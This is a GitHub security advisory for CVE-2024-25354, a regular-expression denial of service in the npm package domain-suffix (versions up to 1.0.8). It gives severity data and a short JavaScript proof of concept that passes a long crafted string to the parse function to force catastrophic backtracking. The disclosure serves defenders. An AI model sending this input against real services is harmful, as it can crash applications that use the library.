GitHub Advisoryadvisory · npm
GHSA-cqfh-c4c5-c2hg domain-suffix RegEx Denial of Service
HIGH
Official page ↗
- Aliases
- CVE-2024-25354
- Ecosystem
- npm
- Packages
- domain-suffix
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-1333
- Reviewed
- 2024-08-29
Affected packages
• npm domain-suffix: <= 1.0.8 (no fix yet)
Description
RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.
PoC
```js
async function exploit() {
const domainsuffix = require(\"domain-suffix\");
// Crafting a string that will cause excessive backtracking
const maliciousInput = \"a.\".repeat(10000) + \"b\"; // This will create a long sequence of \"a.\" followed by \"b\"
const result = await domainsuffix.domainSuffix.parse(maliciousInput);
}
await exploit();
```
Related
Alias · CVE (1)
- CVE-2024-25354 RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function. vulnerability
Weakness · CWE (1)
- CWE-1333 Inefficient Regular Expression Complexity weakness